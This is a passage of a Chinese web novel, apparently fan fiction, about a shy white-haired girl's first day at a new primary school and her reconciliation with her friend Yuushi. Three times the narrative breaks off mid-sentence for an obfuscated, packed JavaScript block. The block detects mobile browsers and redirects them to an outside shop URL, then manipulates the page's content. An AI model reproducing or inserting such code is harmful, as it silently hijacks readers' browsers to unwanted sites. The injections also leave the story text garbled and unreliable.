哈,又来了。 姐夫完全就是傻爸爸一个。 片桐沙友理无力吐槽,专心地给自己的吐司片上抹着黄油。 直到一片吐司片被均匀地抹满一面黄油,她才慢腾腾地放下黄油刀。 看着围着侄女、像是热锅上的蚂蚁一般直转圈圈的片桐纪久,片桐沙友理无奈道:“小彩哪里有那么脆弱,我看是姐夫你太焦虑了吧——真正脆弱的是你才对。” “胡说什么!” 片桐纪久瞪了眼这个被自己和妻子一手带大的、简直和自己的大女儿没什么区别的妹妹,“小孩子很脆弱的,你小时候不也是,一个没看住就感冒发热,你姐姐和我还不知道焦头烂额多少回……” 片桐沙友理无语地扭过脸,不想再搭理他了。 相处这么多年下来,她自然也知道自己这个姐夫是什么性子。 他平日里也不是那种啰嗦的人,但只要他喋喋不休地说个不停,就绝对是因为他在焦虑什么事情,从无例外。 不过她也可以理解他为什么这么紧张。 小彩上一次就是因为学校的问题才叫她变成那副模样,那所学校还是他亲自选的,他心怀愧疚、因而产生焦虑的心情也很正常。 只是小彩这次的学校肯定不会再像以前那样了。 光是做调查就花了他们兄妹俩不少时间,再加上他还给学校捐了不少钱,校方肯定会对小彩多加看顾的。 更何况,那学校还有隔壁家那对姐弟在呢。 说起来,隔壁家的惠里奈开学了也该回来了吧…… 有个年长的同性别玩伴,对于小女孩来说是很不一样的。 小孩总是会崇拜比自己年长的大孩子,就像她崇拜她的姐姐一样。 家长大多希望自家孩子的朋友是有教养的小孩,她自然也不能免俗。 忍足家的整体素质摆在那儿,沙友理对还未见过面的惠里奈也有些期待。 那头沙友理在片桐纪久的碎碎念中走了神,这头片桐彩已经不堪其扰地捂住了耳朵。 “爸爸,我没事,”小彩大声说:“我只是突然感觉鼻子痒痒而已。” “真的没问题吗?” 片桐纪久担心地从柜子里找出耳温枪,对着女儿扫了一下,直到播报出来的数字无异常,他才安心一些。 小彩当然感觉到了父亲今天情绪的焦灼,她顺着片桐纪久的衣服,攀到他怀里:“爸爸,我只是要去上学,每个小孩都要上学的,我当然也要去。” “爸爸也可以请老师回来给你上课,”片桐纪久把女儿稳稳地揽在自己怀里:“小彩,你真的想好了要去学校吗?” “只是上个学而已,没什么大不了的,”片桐彩把手贴在爸爸的脸颊边,轻轻地摸摸,安慰道:“我总该去上学的呀,总不能一辈子都躲在家里——这句话还是你同我说的哦。” 片桐纪久还是有些担心:“可是……” 小彩想了想,说:“没关系的,那个……嗯……学校里还有侑士呢!侑士可厉害了,要是有什么问题,我会去找侑士,请他帮忙的。” “是哦,那小子也在……早知道我应该预先去拜托他一下的……” 她哄了好一阵,这才安抚好比自己还要焦虑一百倍的老父亲。 小彩细嚼慢咽地吃完自己的那份早餐,这才坐上片桐纪久的车。 她是转学生,第一天得由父亲带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715941|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去教务处报个到。 车窗外的绿化树不断地往后倒退。 虽然小彩安慰父亲时说得头头是道,但眼见自己离学校越来越近,她的心里也不由得打起鼓来。 她没有和爸爸姑姑说她和侑士已经绝交的事情。 要是到学校真的遇到了什么麻烦的话,侑士……不对,是忍足君。 要是真的遇到什么麻烦的话,忍足君应该也不会帮她了吧,毕竟他们都绝交了。 小彩想了想,又有些不确定。 忍足君是个乐于助人的热心肠,当初她在路上哭的时候,也是他主动来帮助她的——那个时候他还根本就不认识她呢! 这么热心的一个小孩,遇到需要帮助的人或事,应该不会袖手旁观的吧…… 虽然他们已经不是好朋友了,但小彩还是对他的品性予以高度肯定。 总不能因为他们不是好朋友了,就要说对方的坏话吧! 好就是好,不好就是不好。 忍足君就是一个好小孩。 她其实,也没有那么想要和他绝交…… 小彩的思绪乱糟糟的,直到最后,她也不知道自己在想什么了。 片桐纪久找了个合适的地方把车停下,抱起小彩就往教务处走,直到他们抵达教务处办公室的时候,她才被放下来。 片桐纪久和里面的老师交涉了一番,又望向女儿:“小彩,那爸爸就先走了哦?一会儿会有老师带你去教室的。” 片桐彩轻轻地点点头。 “真的没关系吗?”他蹲下身来,抱了抱女儿:“要是小彩感觉不舒服的话,就请老师给爸爸打电话,打给姑姑也行,爸爸和姑姑都会来接你回家的。” “爸爸和姑姑的手机号码都还记得吗?” 小彩顺畅地报了一遍他们的手机号码,片桐纪久却还是放不下心,又叮嘱了几句才恋恋不舍地离开。 他走的时候可谓是一步三回头,连带着小彩心底的那点紧张都因此消耗殆尽了。 直到片桐纪久的身影再也看不见的时候,小彩的心里才又生出几分焦灼的感觉。 办公室里的老师早在片桐纪久要离开的时候就跟了出来,一直笑眯眯地站在她的身边。 栗原老师是个温柔大方的老师,她蹲下身来,轻轻地摸了摸小彩的脑袋:“小彩,我就是你的班主任栗原乡穗子,叫我栗原老师就好,接下来的日子请多多指教哦。” 小孩子看陌生的大人总是有些恐惧的,对于小孩子们来说,高大的大人就像一座大山,威严极了。 栗原乡穗子这一举动叫小彩对她的好感度“噌噌”地往上涨。 她看起来是个尊重小孩的大人。 小彩想。 至少目前看来是的。 片桐彩赧然地红了脸:“栗原老师,我叫片桐彩,老师可以叫我‘小彩’。” “好的,小彩,”栗原乡穗子温和地点点头:“接下来老师要去取一些文件,让一对一帮扶的前辈来带你去班级,好不好呀?” 小彩在来这所学校之前就知道这所学校有着前后辈一对一帮扶的制度,闻言也没有反对,懂事地应下了:“好的,老师。” 栗原乡穗子显然很喜欢这样好沟通的学生,笑眯眯地冲着办公室里喊了一声:“惠里奈,来带你的后辈去她的班级吧,要好好照顾小彩哦。” “好——” 一道懒洋洋的女声从门内传来,小彩好奇地望去,一个披着及肩短发的高个子女生大步流星地走了出来。 藏蓝色的发丝被一枚很有个性的皮质发卡别在耳后,上挑的眉眼显得她凌厉极了,整个人昂然自若,气势十足。 好酷……!! 小彩的眼睛亮了又亮,一双大眼睛忽闪忽闪地望向她。 “我叫忍足惠里奈,是接下来的两年里,你的引路人,”她飒利地伸出手与她相握:“请多指教。” 天啊,这也太酷了吧!!! 感谢爸爸送她来道顿堀第二小学! “惠……前辈!请多指教!” 27.第 27 章 “你是我弟弟的那个新朋友吧,”忍足惠里奈牵着自己小后辈的手,有意放慢了脚步:“你不是还在念幼稚园吗?怎么突然来上小学了。” 片桐彩迈着小短腿,亦步亦趋地跟着她。 幼稚园? 她什么时候念幼稚园了…… 小彩困惑地眨了眨眼:“没有啊,我本来就是要来读一年级的。” “你七岁了?”忍足惠里奈好奇道:“生日是什么时候?” “一月一日。” “哇,新年啊,真是个好日子——”忍足惠里奈感叹道:“我还以为你和我弟弟一样,是下半年生的呢。” 她细细地打量着背着小书包、一脸懵懂的小妹妹,小声道:“你长得太小了,侑士和谦也都以为你是妹妹呢。” 虽然小彩暂时和忍足侑士绝交了,但她还是忍不住问了一嘴:“侑士和谦也的生日是在什么时候呀?” 说着,她又忸怩地移开了视线,脸颊红扑扑的:“还有,前辈的生日……” “咦?我吗?”忍足惠里奈惊讶地咂吧咂吧嘴,显然没料到小后辈会连带着她的一起问:“我的生日啊,七月二十三日……那俩小子,侑士是十月十五日,谦也是三月十七日。” “啊……这样……” 小彩略微有些失望。 她本来还想给惠里奈前辈送生日礼物呢,可惜她的生日早就过了。 要是她早来一个月的话就好了。 她搬家还是搬得太迟了。 不过礼物这种东西,总归还是能找些别的由头送的嘛…… 她喜欢给自己喜欢的人送小礼物。 校园内此刻静悄悄的,除了偶尔在草丛中探头探脑、闹出不小的动静的小猫以外,几乎没有什么声响。 教务处的办公楼和教学楼有一段距离,小彩就这么乖巧地任由这位前辈牵着走。 忍足惠里奈并不是个多么文静的性子,上课这种事情能逃一会儿是一会儿,因而也没有急着带她去教学楼,反而是带着她在校内到处晃悠,很快就把大半个学校逛了个遍。 逛累了,她就带着小后辈跑到天台花园躲懒——这里是园艺部的地盘,鲜少有人来,没有钥匙也进不来,是个躲懒的好地方。 小彩被带上来以后一步三回头。 她不安地捏捏前辈的手:“前辈,上课……” 忍足惠里奈随意找了个长椅躺下,小手一挥,潇洒极了:“没关系,只是在这里消磨一节课的时间而已,小学一年级这么简单的课程只要稍微扫一眼就懂了吧,着什么急。” 前辈都这么说了,那就绝对不会错! 小彩按捺下心中的不安,坐在忍足惠里奈身边。 “哎呀,没想到你竟然来念小学了,”忍足惠里奈似乎想到什么,“噗嗤”一声笑了出来:“谦也那家伙肯定要大哭一场了。” 想到自己那个有些感性的、在电话里对和小伙伴一起上学多有期待的堂弟,她乐不可支,都不用想,脑袋里就出现了他张大嘴巴嚎啕大哭的模样。 小彩好奇地问道:“为什么?” “谦也还在念幼稚园啦,幼稚园,”忍足惠里奈甩了甩手:“其实侑士应该和他同年入学的,他月份小,理应和谦也是同一批,但是他提前入学了。” “谦也竟然还在念幼稚园?!” 小彩瞪大了双眼,掰着手指头算了算:“那,那谦也才是我们中间最小的那个咯!” 比她小一岁呢! 她皱着脸,这样来看的话,她应该是他们之中最大的那个才对。 她才是姐姐欸! “是的吧,”忍足惠里奈笑眯眯的,“对了,小彩——我可以这样叫你吗?” 片桐彩点头如捣蒜,她可愿意了! “真乖,”忍足惠里奈捏捏她脑袋上扎得很结实的小揪揪:“小彩,有事情可以来找我帮忙,但鉴于我在学校里和不在学校里的时间一半一半,我决定把你外包出去。” 小彩迷茫地跟着重复了一遍:“外包?” 陌生的词汇,她没太听懂。 外包,是外面的包袱皮吗? 爸爸说听不懂别人的话也没关系,有问题可以先放在心里,只要微笑就好,对方自然会解释的。 小彩是个很听大人话的小孩,她决定微笑,等着惠里奈前辈的说明。 不过她等了好一会儿,忍足惠里奈都没有解释,只是自顾自地说了些别的话。 比如“既然是她的后辈就要加入她的社团”啦,比如“既然是她的后辈就要去给她的朋友们认认脸”啦,再比如“既然是她的后辈那之后就要任她差遣”啦……诸如此类的话。 片桐彩听得晕乎乎的,她说一句她就拍拍手叫一次好。 忍足惠里奈显然很欣赏这样“识大体”的小孩,躺够了以后,满意地牵着她回到了她早就该去的班级。 此时正值课间时间,原本冷冷清清的学校一下子就变得宛如一锅乱粥。 片桐彩贴着前辈的手臂,逆着人潮往里穿行。 她今天没有戴帽子,一头白发就这么大喇喇地展现在众人眼前,周围的学生显然对她的头发有些好奇,远远地打量着她。 各路目光扎得她如芒在背,小彩不安地垂下了脑袋,避开他们的眼神,看也不看。 她数着地上扎扎实实铺着的地砖,一、二…… 直到她数到第十八块地砖的时候,忍足惠里奈揽着她的肩膀,轻轻地拍了拍。 “小彩,你的教室到了。” 片桐彩抬起头,一年C组。 忍足惠里奈颇有气势的一把拉开一年C组的门,找到她在小彩来报到前就准备好的桌椅板凳,一把把小彩摁在凳子上。 “喏,这是你的位置,课本我都给你安置好,放在桌屉里面了。” 她帮着小彩把书包放好,又按着课表给她找出下节课要用的书:“我在三年A组,你要是有事情可以直接去那里找我。” 说着,她又指了指小彩邻座的那张桌子:“找他也行,你被我外包一半给他了。” 小彩彷徨无措地捏住了自己的衣角,“好的,前辈,我会的。” 所以外包到底是什么意思啊…… 爸爸说的话完全没有起到任何作用嘛! 这个时候再问的话,是不是不太好呢? 小彩目送着前辈,待她英姿飒爽的背影彻底消失在她的视野里以后,心中的不安愈发强烈了。 班里的同学不知道去哪里了,整个班级空荡荡的,没一个人在。 上一节课好像是什么需要实操的课,这会儿才下课没两分钟,等他们回来应该也需要一段时间吧。 小彩摸了摸自己手腕上的手表,手表顿时亮了起来,显示了一下时间。 她静静地趴在桌面上望向窗外,等了等,她又摸了摸手表。 唔,才过去七秒钟。 可她总感觉已经过去好久了…… 是不是这只手表坏掉了呢? “呜啊!有、有雪女入侵啦!” 一声巨大的惊叫声响彻了整个班级,小彩的耳朵被震得微微发麻。 她立刻捂住耳朵揉了揉,抬眼望向声源的方向。 是个不认识的小孩。 他正一脸震惊地抵在门上,裸露在外的手肘用力地支着门,整个关节都红彤彤的。 见她望过来,只听“砰”的一声,他一把拉上了教室门。 随着他的惊叫,外面的小孩子们都团团围了过来。 他们扒在窗边,好奇地往里看。 无数道视线纷纷投注在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721276|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的身上,片桐彩竭力调整着呼吸,不让自己被焦虑的情绪所控制,可无论她多么努力,都只是杯水车薪罢了。 那一双双的眼睛里盛着什么样的情绪,隔得实在太远,她委实看不太清。 她只觉得那些眼睛宛若一只只落地的太阳,自己的灵魂都要在这些目光里慢慢地被蒸发。 只是被看看而已,没关系的。 刚才被惠里奈前辈带着走的时候,遇到的人可比现在要多多了。 小彩努力地调整自己的呼吸。 一呼,一吸。 一呼,一吸。 她几乎可以感觉到她胸腔里的脏腑都在忐忑不安地颤抖着,强烈的感受叫她难以平静——尤其是在听到门外含糊不清的议论的时候。 脏腑的震颤和那些人口中发出的嗡鸣声逐渐重合,她听不见他们都在说些什么,但她下意识觉得不会是什么好话。 教室内外的双方就这样对峙着,没有人敢第一个走进去。 “你们都聚在门口做什么?” 一道熟悉的声音从门外飘进来,说话的那人显然习惯低语,音量不怎么大。 可在小彩耳朵里,简直就像是一道拯救她的天外来音,在她的耳中来回震荡。 她也顾不得自己是不是还在和忍足侑士绝交了,她跳下椅子,朝着门边跑了几步,又在临近的时候踌躇几下,放慢了脚步,最终停在了与教室门一步之遥的距离。 “忍足,我们班里进雪女了!”最初见到她的那个小孩手舞足蹈道:“我都看见了,她的头发是白的,皮肤也很白,和老师讲的那个故事一模一样。” “我们要不要给她一杯热茶,让她烤烤火啊?*” “对啊对啊,这是化解之法吧?不过妖怪来我们教室做什么?” “笨蛋吧你,当然是……当然是因为我们这里是风水宝地,不然她为什么只来我们班,不去其他班呢?” “啊,那我们是不是应该好好招待一下才行……” “好酷啊……白色的头发,我也想要……” “那你只能去染发了,说起来最近那部很火热的特摄片里主角就是白色的头发欸……” …… 小孩子们七嘴八舌地交谈着,话语里的内容也愈发天马行空,他们因为不同的想法吵闹不休,渐渐地,他们甚至忘记了他们最初的话题,偏题偏到天边去了。 白色的头发……真是熟悉的特征。 忍足侑士心里隐隐有种奇异的预感,他没有加入到同学们的讨论当中去,只是拨开人群,把手搭上了教室的门。 会是小彩吗? 可是小彩应该是在幼稚园才对。 大概只是和她一样,天生白发的小孩吧。 他敛着眉,缓缓拉开了门。 一颗白绒绒的脑袋在开门的瞬间扑进了他的怀里,他茫然地揽住她:“小彩?” 她的心情似乎很不错,见到他的时候也有了几分笑模样,一双碧色的眼睛里闪耀着喜悦的光辉。 她趴在他的耳边,声音小小的:“我好像可以在这里交到新的朋友。” 虽然他们看起来不是很聪明,竟然能把人类认成妖怪,但是他们人好像都还不错。 小彩和他说了这么一句以后,就大大方方地跳出去和他们做自我介绍了,女孩子们凑作一团,好奇地摸着她的头发。 只是他的余光不小心瞥到,她放在身侧微微颤动的手掌。 她是蒙尘的东珠,是天生的发光体,他总觉得没有人会不喜欢她的,事实证明,他的想法是对的。 忍足侑士莫名想到,刚才下课前,老师讲雪女的故事的另一个结局—— 只要胸怀一颗真诚的心去拥抱雪女,雪女就会融化,雪水铸成她新的骨血,她将以人类之躯获得新生。 28.第 28 章 直到上课铃响,走廊里的孩子们才散开,回到自己的班级。 片桐彩也跟着回到自己的座位,早在她看到忍足侑士的时候就猜到了,承接惠里奈前辈的“外包”工作的人大概率就是他了——毕竟他们是亲姐弟,姐姐拜托弟弟做事情还挺正常的。 忍足侑士端坐在邻座的位置上,见她望过来也好奇地望回去。 “怎么了?”他小声问道。 小彩也跟着小声地回道:“惠里奈前辈说,把我外包一半给你了。” 忍足侑士一头雾水。 惠里奈回来了? 不是说明天才能回吗? 还有,外包又是什么情况…… 虽说他还想问上两句,但栗原老师已经从教室外走了进来,他也就闭口不言,认真上课了。 小彩也很喜欢这个温柔的老师,她见她一进来就乖乖的,目光专注地盯着讲台。 栗原乡穗子看到小彩乖巧地坐在自己的位置上,心里满意极了。 忍足惠里奈是个有些散漫的学生,不然也不会没有配对上一对一扶持的后辈了。 幸好她这次老老实实地把人带来了——之前她自己班里转来转学生的时候,带着新来的转学生乱逛半天,一直到午餐时间才慢悠悠地回到班级。 要是她这次还像上次那样,她绝对是要训她一通的。 栗原乡穗子笑眯眯地望着讲台下的孩子们:“诸位,我们班今天转来一位新同学哦,大家都见到她了吧?” “见——到——了——” “请新同学做一下自我介绍吧。” 片桐彩晕乎乎地站起身来,眼一闭心一横,大声念出自己早就准备好的台词:“我叫片桐彩,今年七岁了,来自鸟取。我喜欢做的事情是画画和做手工,喜欢的动画片是《小羊警卫队》,请大家多多关照!谢谢!” 小孩子到底是小孩子,总是控制不住自己的嘴巴要讲话。 她刚一念完,周围的同学就像一锅烫粥一样沸腾起来。 “《小羊警卫队》欸……我也喜欢!昨天的剧情是小羊警官去抓狐狸教授,好刺激……” “鸟取,上次我和爸爸妈妈去鸟取沙丘滑沙,还挺好玩的。” “鸟取在哪里?” “不知道,我只去过奈良……” …… 栗原乡穗子做了个收束的手势,他们立刻收了声。 她唇边带笑,望着她的学生们:“你们有什么想要问片桐同学的,可以下课以后再问,现在是上课时间。” 她的目光似有若无地扫过几个最调皮的孩子,他们立刻打了个寒噤,乖乖地捧着课本一通乱看。 “请把你们的暑期作业拿出来,每排最后一位同学一个一个往前收。” 这简直就是魔鬼之声! 暑假作业什么的……不都是用来当教师办公室的摆设的吗! 大多数人都从桌屉里找出自己的暑期作业放在桌边,有几个装模作样地找着,几乎要把头伸进桌屉里去了。 作业一本本地被收起来,全部垒在讲台上。 栗原老师一本一本地查看他们的作业。 这个年纪的小孩,大多还不太懂偷奸耍滑的事情,大多数都认认真真地写完了,一笔一画都很端正,只有少数写得像鬼画符。 她数了数作业本的数量,撇去新来的小彩,数目对不上。 好嘛,应该就是那几个钻在桌屉里的小家伙没交了。 “没有交的同学,请记得下课以后来找我说明情况,现在,先打开课本,我们上课。” …… 小彩按照老师的指示,把花花绿绿的课本翻开,翻到老师要求的那一页。 是数学哦。 原来栗原老师教的是数学。 她盯着课本上各式各样的图形,好奇地翻来翻去。 可是为什么数学课上要教图形呀? 她一开始还以为是美术课呢。 认识图形的内容对于小彩来说,再简单不过了,她认认真真地听讲,看老师板书,她在做课本上的练习时做得飞快,得到了老师赞许的目光。 真好呀,没想到这么简单。 就和惠里奈前辈说的一样,只要稍微扫一眼就懂了。 小彩的信心瞬间膨胀起来。 …… 一年级的课程非常宽松,很快就到了午餐时间。 第二小学没有食堂,大家都是自己带便当来吃,为了照顾那些忘记带便当的孩子,学校还开设了一个小卖铺,卖点面包零食之类的食物。 片桐纪久早早就给女儿准备好了一大份便当,片桐沙友理也给她准备了好多饭后小点心,叫她给同学们分分。 小彩很听话,给每个同学都分了一块曲奇饼,分完才坐回自己的位置吃饭。 她艰难地取出爸爸给她准备的便当,揭开便当盒盖子的那一刹那,她简直就要惊呆了—— 爸爸是有多怕她吃不饱饭,便当盒塞得满满的,甚至有种要溢出来的感觉。 好惊人! 她根本就吃不掉嘛! 想到爸爸今天那副格外期待的表情,她不由得叹了口气。 剩下来好像也不是很好呢…… 等等,或许可以请侑士帮帮忙什么的…… 小彩下意识地把目光投向坐在一旁已经开始吃午餐的忍足侑士,激得对方打了个寒噤。 忍足侑士抬眼望向她:“小彩,怎么了?” 她突然又有点不好意思——她和侑士还在“绝交”中呢! 她吞吞吐吐,犹豫再三,最终还是小声问道:“侑士,你吃饱了吗?” 忍足侑士吃饭速度一向很快,但他的动作很优雅,很容易让人忽略他吃饭快这一点。 小彩看着他便当盒里所剩无几的食物,心里暗暗叹了口气。 肯定吃饱了吧,他都快要吃完了。 忍足侑士没有回答她的问题,反而反问道:“怎么突然问这个?” 小彩扭扭捏捏的:“爸爸帮我准备的食物实在是太多了,我很可能吃不完……” 他挑了挑眉:“所以?” “所以请伟大的侑士大人帮帮忙,帮我吃掉一点点,一点点就好!” 忍足侑士闲适地坐在自己的位置上,纹丝不动。 他没说好也没说不好,弄得小彩有一点点着急。 她捏着他的袖口,轻轻拽了拽:“拜托拜托,我还没有动过筷子,没有吃过的。” “哦……可是……” 他欲言又止,引得小彩立即追问。 “可是什么?” 忍足侑士一脸为难:“可是小彩不是和我绝交了吗?” 他瞥了眼小彩的神色,又把目光移开:“绝交的话,我还是不要和小彩说话比较好吧,更何况是帮忙吃饭……” “不是都那样说吗,绝交以后不能接触什么的。” 片桐彩一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724570|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气憋在胸口。 真讨厌,早知道她就不该和侑士绝交的! 但是绝交是因为侑士先想要骗她的呀! 再说了,绝交的话他哄哄她不就好了嘛,她可容易哄了…… 啊,她明白了! 肯定是因为他想要绝交才不哄她的! 正中他下怀了! 小彩乱七八糟地想着,莫名理直气壮起来,她气哼哼地撒开手,捏起一枚便当盒里的小番茄塞进嘴里。 她自己慢慢吃,肯定能吃掉的! 耳边突然传来一声叹息,眼前的便当盒自己“飞”起来了,小彩的视线随着便当盒“飞行”的轨迹望去,很快就看到它降落在忍足侑士的桌子上。 “哪些是你不想吃的?” 咦?他问哪些,是还没有吃饱吗? 在她的印象里,侑士是个不会委屈自己的人,他这么问,那就是还没有吃饱吧。 小彩这下一点也没有客气,直接点了一大堆,统统塞到忍足侑士的便当盒里。 对方的便当盒瞬间变得满满当当,他无奈地把从小彩那里拿来的便当盒朝她那里推了推:“小彩,叔叔应该给你准备儿童用便当盒的。” 没错,小彩今天带来的便当盒规格是成人使用的那种。 片桐纪久和片桐沙友理都忘记了,这所小学和之前小彩念过的学校不一样,没有食堂。 他们直到今天早上才想起来这回事,就随便先找了一个便当盒用,说是下午回家的时候就给小彩买新的。 小彩看着少了一半食物的便当盒,心情大好,这下她绝对可以吃掉了! 侑士还是挺热心肠的嘛! 她犹豫了片刻,把椅子搬到忍足侑士的桌边,把他的便当盒往里挪了挪,把自己的便当盒也放到了他的桌子上。 她坐到椅子上,慢条斯理地嚼完一口饭才开口:“那你今天下午放学以后要和我一起去买吗?” 忍足侑士觑了她一眼:“可是我们还在绝交中哦?” 小彩满不在乎地说:“绝交中也可以一起去买东西,这两件事情完全不冲突的。” “很冲突,”他支着脸,面色平淡,完全看不出他在想什么:“绝交的意思是断绝情感交谊和往来,那我们就不该继续一起做事情了。” 片桐彩犹豫了。 她每次一因为什么事情感到犹豫,都会表现得很明显,就像现在她咀嚼的速度明显慢下来一样。 “这样的话,我们就不好一起上学放学了,也不好一起吃饭……” 忍足侑士语气低落极了,眼里却带着一丝笑意,他趁热打铁道:“我前几天还在抽奖的时候抽到了一个小羊周边,就是最近便利店抽奖四奖的那个小羊手偶。” “唉,可惜……绝交了以后就不好再交换礼物了。” 这边忍足侑士还在表达着自己的遗憾,嘴里不断念叨着什么,可小彩却什么都听不到了。 她满脑子都是小羊手偶——那是她抽奖的时候唯一没有抽到的奖品。 虽然只是一只手偶,没有她抽到的头奖小羊粒子枪有趣,但不是有句话是那样说的吗,“得不到的就是最好的”,她对那只手偶产生了极大的兴趣。 她也不由得开始随着对方的思路想了起来,脑子里也跟着“可惜”、“可惜”。 小彩下定决心,立刻拉住忍足侑士的手,深情款款道:“侑士,我觉得我们还是好朋友,绝交什么的就算了,你说呢?” 29.第 29 章 放学后,三日月百货。 片桐彩捏着一只便当盒,抬眼望向杵在一旁当柱子的小伙伴:“所以,你就是因为这种……小事,才不肯说真话的呀。” “唔,小事吗……”忍足侑士的耳廓浸染了一层红意:“你不会觉得这样很奇怪吗?想到外星人什么的……” 小彩认真地摇摇头:“说不定真的有外星人存在呢。” 她盯着货架上一溜排的便当盒,伸手摸向一只印着小羊UFO的。 她举着这只便当盒左看右看,突然神神秘秘地凑到小伙伴的耳边:“说起来你可能不信,我以前还碰到过大兔大明神显灵哦。” 忍足侑士正要伸手去拿一只与她手里那只印花一样的便当盒查看质量,闻言动作倏地一顿。 他神色莫测,随意拿起一个,翻覆着看:“是在你家的神社显灵的吗?” 咦? 她有说过她家开神社的事情吗? 之前说的时候好像也就只是说在神社怎么怎么样,好像没说过家里有在经营神社什么的……不过也有可能是她说过,但是忘记了。 她的记性一向不怎么好。 小彩很快就把那个念头挥之脑后:“是啊是啊,侑士你好聪明!一下子就猜到了!” 忍足侑士抿着唇,露出了一个不甚明显的笑容。 说起这个,片桐彩激动万分。 她环顾四周,发觉没有人在注意这边,这才扒着小伙伴的耳朵说起了那时的事情。 “那还是在去年新年的时候哦……” 她的声音很柔和,一下子就把他的思绪带回了去年的元月一日。 …… 十二月三十一日,夜。 神社里人流如织,多的是想趁着新年的钟声前来参拜的年轻男女。 忍足侑士步履沉重地踩着台阶,一阶一阶地往上攀。 他穿着一身黑色的西装,沉闷地走在人群之中。 他本来是和父母姐姐一道来的,可人实在是太多,他们一不小心就走散了。 不过他并不担心这一点,他知道他们总归会在神社里再次遇见的。 周围的石灯笼里探出幽幽的光,他加快了脚步,口袋里的胡萝卜漏食球随着他的动作一颠一颠的。 密集的人群挤得他喘不过气来,他就这么随波逐流了一会儿,偶然间瞥到了一条没什么人走的小径。 小径铺得很平坦,只是大家好像都没怎么关注到这里。 他顺着小径的方向望了眼,想到上来前,在路口看过的地图,确实也有这么条路,他便走了过去。 反正都是通往神社的,没关系吧。 不知为何,这里的石灯笼显然要比隔壁那条大道要亮堂得多。 拾级而上,他的听觉逃离了嘈杂的人声,鼻腔里扑满新鲜的空气,而不是谁身上浓郁的香水气味,这叫他放松不少。 今天他来这里,是为了给他的小兔子祈福的。 或者应该说是,给他和谦也的小兔子祈福——尽管他并不想承认这一点,但这确实是他们一道捡回来、一道养的。 小兔子是被遗弃的小兔子,刚救助回来的时候浑身都是伤,他们尽心尽力养了很久,可最终还是因为生病死掉了。 谦也很自责,他也是。 他偶尔也会想,是不是当初没有把它带回来,它就能遇到更加尽责的主人、就能好好地活下去了呢? 如果不是他们没有及时关注到小兔子的情况,小兔子就不会死了。 他们一直以为它没有精神是因为低血糖,也当成低血糖来治疗,没想到竟然是球虫病。 他们也努力救治过,可它最终还是死掉了。 他希望小兔子在天上能够过得舒坦一点,便央求爸爸妈妈带他来这里——这座神社的主祭神是大兔大明神,都是兔子的话,多少会关照一点同族吧。 忍足侑士踩着石阶,发出“哒哒”的响声。 他把手揣进兜里,把玩着那只印着胡萝卜花样的漏食球。 这是之前买来想要送给小兔子的,可惜它连看都没能看到一眼。 供奉在大兔大明神这里,神明会把它带给小兔子吗? 忍足侑士觉得大概率不会。 他其实并不太相信神鬼之说,神明的存在不过是普罗大众的一个心理慰藉罢了。 但他现在也是在求一个心理慰藉。 如果真的有六道轮回的话,希望小兔子下一次能转世为人。 这样的话,它就可以多吃到一点它喜欢的、甜味的东西了。 小兔子是不能多吃糖的,但人可以。 忍足侑士就这么静静地走着,天空中传来些许烟火升空的声响,他抬头望去,果然是一朵小型烟花。 新年的钟声响彻整座神社,他这才后知后觉地看了眼腕表,新年了。 现在这个时间去的话,大概会被人挤成肉饼吧。 等一会儿再去应该也没关系。 忍足侑士通过自己的儿童手机发送了一条讯息给爸爸妈妈,报备了一下自己所在的位置,便停在原地休息了。 这座神社在一座小山上,他也还只是个小孩子,走了这么久也有些疲累。 他盯着道旁的兔子石雕看了一会儿,随手掏出几颗糖果,放到它蜷曲的耳朵上。 “新年快乐。” 他随意找了块树后的石凳,坐下靠着歇息,可还未等他调整好呼吸,外面就传来“哒哒”的脚步声。 清脆的声响令他好奇地往石阶上望去,一个穿着红丝绒洋裙的小女孩提着裙摆往下跑。 她披着一身朦胧的月色,脑后裹着一条薄纱,在月白的光辉下熠熠地闪着光。 可等她再走近些,他就发现那不是什么薄纱,是一头洁白如雪的长发。 是山精吗? 他莫名想道。 可是这里是神社,神社里一般不会有山精。 或许是这座神社的小兔子? 忍足侑士好奇地躲在树后打量着她,她的眼珠子并不像他想的那样,和兔子一般红,而是翠榴石一般浓郁的碧绿色。 大概是跟随爸爸妈妈来参拜的小孩子吧。 小孩子长白头发这件事情,对于忍足侑士来说并不怎么稀奇。 他自小就在父亲工作的医学院里玩耍,只是天生的白发而已,这样的人他见过不止一个。 小女孩似乎是有什么烦恼,她根本就不管石阶干净不干净、会不会弄脏自己的裙子,一屁股坐在了一座石雕旁的石阶上。 